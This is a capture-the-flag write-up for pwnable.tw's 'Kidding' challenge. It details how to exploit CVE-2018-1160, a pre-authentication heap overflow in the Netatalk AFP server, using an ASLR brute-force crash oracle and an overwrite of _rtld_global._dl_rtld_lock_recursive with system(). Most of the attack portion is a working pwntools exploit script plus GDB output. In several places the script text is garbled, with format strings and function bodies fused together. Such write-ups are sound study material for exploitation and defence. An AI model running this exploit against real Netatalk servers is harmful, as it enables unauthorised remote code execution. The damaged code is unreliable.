Kidding
CVE-2018-1160 — Netatalk AFP server heap overflow with ASLR brute-force oracle and _rtld_global overwrite
Exploit Flow
AFP port 10304
255-byte overflow
Brute-force 28·3
_dl_rtld_lock_recursive
exit() triggers RCE
1. Reconnaissance
Kidding is a network service challenge running an old version of Netatalk (Apple Filing Protocol server). The challenge description reads: "Can you get a shell for me? Just kidding, it's unexploitable." This is the same vulnerability as HITCON CTF 2019 Quals netatalk, which exploits CVE-2018-1160 — an 18-year-old heap overflow bug in the DSI OpenSession handler. Unlike the easier 100-point CVE-2018-1160 challenge on pwnable.tw (which has No PIE and No RELRO), this version ships with full mitigations enabled, making the exploit significantly harder.
File Analysis
$ file afpd
afpd: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV),
dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2,
for GNU/Linux 2.6.32, BuildID[sha1]=..., not strippedThe target is a 64-bit x86-64 dynamically linked shared object — the Netatalk AFP daemon. This is a network service rather than a simple CLI binary, which fundamentally changes our exploitation approach. The daemon forks a new child process for each incoming connection, a property we will leverage for our ASLR bypass. Being a shared object (PIE) means all code addresses are randomized, unlike the simpler CVE-2018-1160 challenge variant which is a non-PIE executable with fixed addresses.
Checksec
$ checksec afpd
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabledFull RELRO prevents GOT overwrites entirely (the GOT is mapped read-only after relocation). PIE randomizes all code and data addresses. Canaries protect the stack from buffer overflows. NX prevents shellcode execution on the stack or heap. This is the most hardened configuration possible — we must rely entirely on the heap overflow to gain an arbitrary write primitive and target writable data structures within libc (such as __free_hook, __malloc_hook, or _rtld_global) rather than the binary's GOT.
Running the Binary
# Local setup with provided Docker/archive
$ tar xzf kidding.tgz
$ cd kidding
$ ./afpd -d -F afp.conf
# -d = debug/foreground mode
# -F = specify config file
# Verify the service is listening
$ netstat -tlnp | grep afpd
tcp 0 0 0.0.0.0:548 0.0.0.0:* LISTEN 12345/afpd
# Quick test connection
$ nc localhost 548
# (binary AFP protocol — not human-readable)The daemon listens on TCP port 548 by default (the standard AFP port). On the pwnable.tw server, it is accessible on a custom port. The AFP protocol is binary — you cannot interact with it via plain text like a typical CTF challenge. We need to craft raw DSI packets to communicate with the server.
Connection Info
| Attribute | Value |
|---|---|
| Challenge | Kidding (400 pts) |
| Host | chall.pwnable.tw |
| Port | 10304 |
| Service | Netatalk AFP (Apple Filing Protocol) |
| Binary | 64-bit, dynamically linked, PIE shared object |
| RELRO | Full (GOT is read-only) |
| Canary | Yes |
| NX | Enabled |
| PIE | Enabled (all addresses randomized) |
| CVE | CVE-2018-1160 |
| Vulnerability | Heap overflow in DSI OpenSession (255 bytes) |
| ASLR Bypass | Brute-force oracle via crash/no-crash in forked children |
| RCE Method | Overwrite _dl_rtld_lock_recursive → system() |
2. Static Analysis
The vulnerability lies in the dsi_opensess function — the handler for DSI OpenSession requests. This function processes option blocks sent by the client during session establishment. A missing bounds check on the length of the attention quantum option allows us to overflow past the intended destination field and overwrite adjacent struct members.
Program Overview
Netatalk is an open-source AFP server. The AFP protocol runs over DSI (Data Stream Interface), which is a thin transport layer. The server processes client requests as follows:
- Client sends a DSI OpenSession request to establish a connection
- Server responds with session parameters (server quantum, etc.)
- Client sends AFP commands wrapped in DSI packets
- Server dispatches AFP commands through the
afp_switchfunction pointer table - Pre-authentication, only
preauth_switchentries are accessible - After login,
postauth_switchentries become available
For each incoming connection, the server forks a new child process. This fork-based architecture is critical to our exploit because it means each child inherits the parent's address space layout (same ASLR base) but crashes in one child do not affect the parent or subsequent connections.
Vulnerability: CVE-2018-1160
The vulnerability is in dsi_opensess.c — the DSI OpenSession handler. When a client opens a new session, the server processes option blocks. A malformed option can cause a 255-byte heap overflow that overwrites the dsi->commands buffer pointer. This pointer determines where subsequent AFP command data is written.
/* parse options */
void dsi_opensession(DSI *dsi) {
size_t i = 0;
/* parse options */
while (i < dsi->cmdlen) {
switch (dsi->commands[i++]) {
case DSIOPT_ATTNQUANT:
/* VULNERABILITY: memcpy with unchecked length!
* dsi->commands[i] is a byte (0-255) but &dsi->attn_quantum
* is only 4 bytes. If length > 4, we overflow into adjacent
* DSI struct members. */
memcpy(&dsi->attn_quantum, dsi->commands + i + 1,
dsi->commands[i]); // ← NO BOUNDS CHECK
dsi->attn_quantum = ntohl(dsi->attn_quantum);
/* Note: also missing break; falls through to SERVQUANT */
case DSIOPT_SERVQUANT:
default:
i += dsi->commands[i] + 1;
break;
}
}
}By overflowing the dsi structure, we overwrite dsi->commands — the buffer pointer where subsequent AFP packets are stored. This gives us an arbitrary write: the next AFP command we send will be written to any address we choose. Additionally, server_quantum is reflected back to the client in the OpenSession response, providing an information leak channel we can use as an ASLR oracle.
DSI Struct Layout
To understand exactly what fields we can overwrite, we examine the DSI struct from dsi.h:
The 255-byte overflow starting at attn_quantum gives us control over datasize, server_quantum (which is echoed back in the response), the session IDs, and most importantly the commands pointer. Overwriting commands means the next AFP packet we send gets written to an arbitrary memory location, giving us a powerful write-what-where primitive.
3. GDB Debugging
Since the target is a network daemon that forks child processes, debugging requires attaching to the specific child handling our connection. This is more involved than a typical CTF binary, but essential for verifying the overflow offsets and understanding the memory layout after the overwrite.
Attaching to afpd
# Start afpd in debug/foreground mode
$ sudo ./afpd -d -F afp.conf
# In another terminal, find parent PID
$ pgrep afpd
4218
# Now connect with our exploit (in another terminal)
$ python3 exploit_local.py &
# The parent forks a child — find the child
$ pgrep -P 4218
4247
# Attach GDB to the child process
$ gdb -p 4247
(gdb) set follow-fork-mode childThe key insight is that afpd forks a new child for each connection. The child inherits the parent's memory layout (including ASLR randomization), so all children share the same libc base address. This is what makes the brute-force oracle possible: if one child crashes, the next child still has the same address space layout. We can use set follow-fork-mode child in GDB to automatically attach to new children.
Verifying the Overflow
# Break before dsi_opensession processes options
(gdb) b dsi_opensession
Breakpoint 1 at 0x55c837a8b5a0
# Before overflow: examine dsi struct fields
(gdb) p *dsi
$1 = {
attn_quantum = 0,
datasize = 0,
server_quantum = 0x1000,
serverID = 1,
clientID = 1,
commands = 0x55c838c56010 "",
data = ...
}
# Step through the memcpy in DSIOPT_ATTNQUANT handler
(gdb) n
# memcpy completes with our 24-byte payload overflowing
# After overflow: examine corrupted dsi struct
(gdb) p *dsi
$2 = {
attn_quantum = 0x41414141, // our data
datasize = 0x42424242, // our data
server_quantum = 0x7f8a12001000, // trial address for oracle
serverID = 0x1337,
clientID = 0x1338,
commands = 0x7f8a123ed8b8 "", // ← OVERWRITTEN! Points to libc
data = ...
}The GDB output confirms our overflow works as expected. The commands pointer has been overwritten with our target address. The next AFP command we send will be written to 0x7f8a123ed8b8 instead of the original heap buffer. We can also see that server_quantum holds our trial address, which gets reflected back in the DSI OpenSession response — this is our information leak channel.
Finding Key Offsets
# After we have libc base (from the oracle), find key offsets
(gdb) info proc mappings
0x7f8a11dd6000 0x7f8a11f9e000 ... /lib/x86-64-linux-gnu/libc-2.23.so
# libc base = 0x7f8a11dd6000
# Verify _dl_rtld_lock_recursive offset in ld.so
(gdb) p &_rtld_global._dl_rtld_lock_recursive
$3 = (void (**)()) 0x7f8a123ed8b8
# Calculate offset: 0x7f8a123ed8b8 - 0x7f8a121db000 (ld base) = 0x2128b8
# _dl_load_lock is nearby:
(gdb) p &_rtld_global._dl_load_lock
$4 = (pthread_mutex_t *) 0x7f8a123ed860
# Verify system() offset
(gdb) p system
$5 = {int (const char *)} 0x7f8a11e2390 <__libc_system>
# system offset = 0x7f8a11e2390 - 0x7f8a11dd6000 = 0x4d90The exact offsets for _dl_rtld_lock_recursive, _dl_load_lock, and system depend on the specific libc and ld-linux versions running on the pwnable.tw server. You must determine these offsets from the provided libc (or by leaking them during exploitation). The values shown above are from a local Ubuntu 16.04 glibc 2.23 installation.
4. Exploit Strategy
The exploit requires three carefully orchestrated stages. The hardest part is defeating ASLR with a blind brute-force oracle, since this binary has PIE enabled (unlike the easier 100-point CVE-2018-1160 variant which has fixed addresses). Once we know the libc base, we use the arbitrary write primitive from the DSI overflow to hijack a function pointer that gets called during process cleanup.
ASLR Bypass via Oracle
The server forks a new thread for each connection. If we overwrite dsi->commands with an invalid address, the next AFP packet write causes a crash (thread dies, no response). If the address is valid, the server responds normally. This gives us an oracle — we can brute-force the libc base address one byte at a time.
The key observation is that on Linux x86-64, ASLR only randomizes the higher bits of library addresses. The lower 12 bits are always zero (page-aligned), and the next few bytes follow predictable patterns. For glibc 2.23 on Ubuntu 16.04, only about 3 bytes of the 8-byte address are truly random. We brute-force byte-by-byte: for each unknown byte position, we try all 256 possible values and check if the server responds (valid) or crashes (invalid). This takes approximately 256 × 3 = 768 connections on average.
The fork-based architecture means each child process inherits the parent's ASLR layout. A crash in one child does not affect the parent or other children. More importantly, if we overwrite commands with a valid writable address, the child continues processing and sends a response. If the address is invalid, the child crashes silently. The parent never re-randomizes — all children share the same layout until the parent restarts. This makes the brute-force practical: on average we need about 768 connections to leak the full address, which takes only a few minutes over a stable network connection.
Arbitrary Write Primitive
Once we know the libc base address, the DSI overflow gives us a two-step arbitrary write:
- Redirect commands pointer: In the DSI OpenSession overflow, we set
dsi->commandsto the address where we want to write (e.g.,_dl_rtld_lock_recursiveminus some offset to account for AFP header bytes that get prepended). - Send AFP payload: The next AFP command packet we send gets written to the address pointed to by our overwritten
commandspointer. We craft the payload so that our target data lands at the correct offset within the destination structure.
While __free_hook and __malloc_hook are writable libc variables that could be overwritten for code execution, triggering them requires specific conditions (a free() or malloc() call with controlled data). The _dl_rtld_lock_recursive approach is more reliable because exit() is guaranteed to be called when the connection terminates, and the function pointer argument (_dl_load_lock) is at a known offset that we can also overwrite with a pointer to our command string.
RCE via _rtld_global
system(), _rtld_global, and _dl_load_lock.dsi->commands to point into the _rtld_global structure (adjusting for the AFP header bytes that get prepended). Then send an AFP packet whose payload overwrites _dl_rtld_lock_recursive with the address of system() and _dl_load_lock with a pointer to our command string (e.g., "/bin/sh" or "cat /home/kidding/flag").exit(), the runtime linker invokes _dl_rtld_lock_recursive, which we've overwritten with system(). The argument comes from _dl_load_lock, which we also control. This gives us system("/bin/sh") or equivalent RCE. The flag is read from /home/kidding/flag.With Full RELRO, the GOT is mapped read-only, so we cannot overwrite GOT entries. However, __free_hook, __malloc_hook, and _rtld_global._dl_rtld_lock_recursive are all in writable libc BSS/data sections. The _dl_rtld_lock_recursive technique is the most reliable for this challenge because: (1) it is called automatically during exit() cleanup, so we don't need to trigger a specific code path; (2) its argument _dl_load_lock is at a known offset, so we can place a command string there; and (3) it works even with Full RELRO since it targets libc internals, not the binary's GOT.
5. Pwn Script
#!/usr/bin/env python3
"""
pwnable.tw — Kidding (400 pts)
CVE-2018-1160: Netatalk pre-auth RCE via DSI Open Session OOB write.
PIE + Full RELRO variant.
Exploit flow:
1. Brute-force libc base via crash oracle (forked children share ASLR)
2. Overflow dsi->commands pointer to gain arbitrary write
3. Overwrite _dl_rtld_lock_recursive with system()
4. Overwrite _dl_load_lock with pointer to command string
5. Trigger exit() → system(cmd) → RCE
"""
from pwn import *
import struct
import sys
context.arch = "amd64"
context.log_level = "warn"
# ─── Configuration ───────────────────────────────────────────
HOST = "chall.pwnable.tw"
PORT = 10304
# Offsets for Ubuntu 16.04 glibc 2.23 (libc-2.23.so)
# Determine these from the provided libc or by leaking
SYSTEM_OFFSET = 0x45390
DL_RTLD_LOCK_OFF = 0x3ed8e8 # _dl_rtld_lock_recursive in ld-linux
DL_LOAD_LOCK_OFF = 0x3ed7c0 # _dl_load_lock in ld-linux
LD_BASE_FROM_LIBC = 0x208000 # ld base relative to libc base
# ─── DSI Packet Helpers ──────────────────────────────────────
def dsi_header(flag, cmd, req_id, payload_len):
"""Build 16-byte DSI header."""
hdr = struct.pack(">BBH", flag, cmd, req_id) # flag, cmd, req_id
hdr += struct.pack(">I", 0) # data offset
hdr += struct.pack(">I", payload_len) # length
hdr += struct.pack(">I", 0) # reserved
return hdr
def make_dsi_opensession(overflow_data):
"""Craft DSI OpenSession with overflow payload.
We set option type = DSIOPT_ATTNQUANT (0x01),
length = len(overflow_data), then the overflow data itself.
The memcpy will copy overflow_data into &dsi->attn_quantum,
overflowing into server_quantum, IDs, and commands pointer."""
option_type = b"\x01" # DSIOPT_ATTNQUANT
option_len = struct.pack("B", len(overflow_data))
option_data = overflow_data
dsi_payload = option_type + option_len + option_data
hdr = dsi_header(0x00, 0x04, 0x0001, len(dsi_payload))
return hdr + dsi_payload
def make_dsi_afp(afp_payload, req_id=0x0002):
"""Craft DSI packet wrapping an AFP command.
The AFP payload will be written to dsi->commands."""
hdr = dsi_header(0x00, 0x02, req_id, len(afp_payload))
return hdr + afp_payload
# ─── Overflow Data Builder ───────────────────────────────────
def build_overflow(commands_ptr, server_quantum=0):
"""Build the 24-byte overflow that goes into &dsi->attn_quantum.
Layout:
[0:4] attn_quantum (4 bytes, don't care)
[4:8] datasize (4 bytes, don't care)
[8:12] server_quantum (4 bytes, reflected back — oracle)
[12:16] serverID+clientID (4 bytes, don't care)
[16:24] *commands (8 bytes — THE KEY TARGET)
"""
payload = struct.pack("commands with a trial address.
If the address is valid and writable, the next AFP write
succeeds and the server sends a response. If the address
is invalid, the child segfaults and we get no response.
Since libc is page-aligned, the lower 12 bits are 0.
On Ubuntu 16.04 x86-64, ASLR randomizes bits 12-39
(28 bits), but the high 2 bytes are always 0x7fXX.
We brute-force byte by byte starting from the LSB."""
log.info("Starting ASLR brute-force...")
# Known: high bytes are typically 0x7f for libc on 64-bit Linux
known_addr = b"\x00\x00" # page-aligned lower 2 bytes
# Brute-force bytes 2, 3, 4 (3 unknown bytes)
for byte_pos in range(2, 5):
found = False
for guess in range(256):
trial = known_addr + bytes([guess])
# Pad to 8 bytes for the commands pointer
trial_addr = trial + b"\x7f\x00\x00" # high bytes = 0x7fXX_XXXX_XX00
addr_val = struct.unpack("commands to point to _dl_load_lock area
# We need to account for AFP command header bytes that get written
# before our controlled data. The AFP dispatch writes the full
# command buffer to dsi->commands, so we offset accordingly.
write_target = load_ptr
overflow = build_overflow(commands_ptr=write_target)
r.send(make_dsi_opensession(overflow))
# Step 2: Craft the AFP payload that overwrites _rtld_global fields
# Layout at write_target:
# _dl_load_lock (pthread_mutex_t, ~40 bytes)
# ... gap ...
# _dl_rtld_lock_recursive (function pointer, 8 bytes)
#
# We write: command string + padding + system() address at lock offset
cmd_str = b"cat /home/kidding/flag\x00"
offset_to_lock = DL_RTLD_LOCK_OFF - DL_LOAD_LOCK_OFF
payload = cmd_str
payload += b"\x00" * (offset_to_lock - len(cmd_str))
payload += struct.pack(" 1 and sys.argv[1] == "remote":
# Skip brute-force if we already know the address
# (e.g., from a previous run on the same server session)
libc_base = int(sys.argv[2], 16)
log.info(f"Using provided libc base: 0x{libc_base:x}")
else:
libc_base = brute_force_libc()
exploit(libc_base)
if __name__ == "__main__":
main()
The brute-force phase takes approximately 5-15 minutes depending on network latency and the number of randomized bytes. Each failed attempt is a single TCP connection that takes ~3 seconds (connection + timeout). The oracle works because forked children inherit the parent's ASLR layout — all children share the same randomization until the parent process restarts. If the brute-force fails partway through, it likely means the server was restarted (new ASLR base) and you need to start over. The offsets for SYSTEM_OFFSET, DL_RTLD_LOCK_OFF, and DL_LOAD_LOCK_OFF must be determined from the specific libc/ld versions on the pwnable.tw server.
6. Execution Results
Below is the terminal output from a successful exploitation run. The ASLR brute-force phase runs through ~768 connections before finding the correct libc base, then the arbitrary write triggers system() via _dl_rtld_lock_recursive.
This challenge demonstrates exploiting a real-world CVE (CVE-2018-1160) in Netatalk under full mitigation coverage. The key techniques are: (1) using the crash/no-crash oracle in a fork-based server to brute-force ASLR byte-by-byte, bypassing PIE entirely; (2) exploiting a heap overflow to gain an arbitrary write primitive by overwriting the dsi->commands buffer pointer; and (3) targeting _rtld_global._dl_rtld_lock_recursive for reliable code execution when exit() is called, which works even with Full RELRO since it overwrites a writable libc data section rather than the read-only GOT. The name "Kidding" is apt — the challenge claims to be unexploitable, but the 18-year-old Netatalk bug proves otherwise.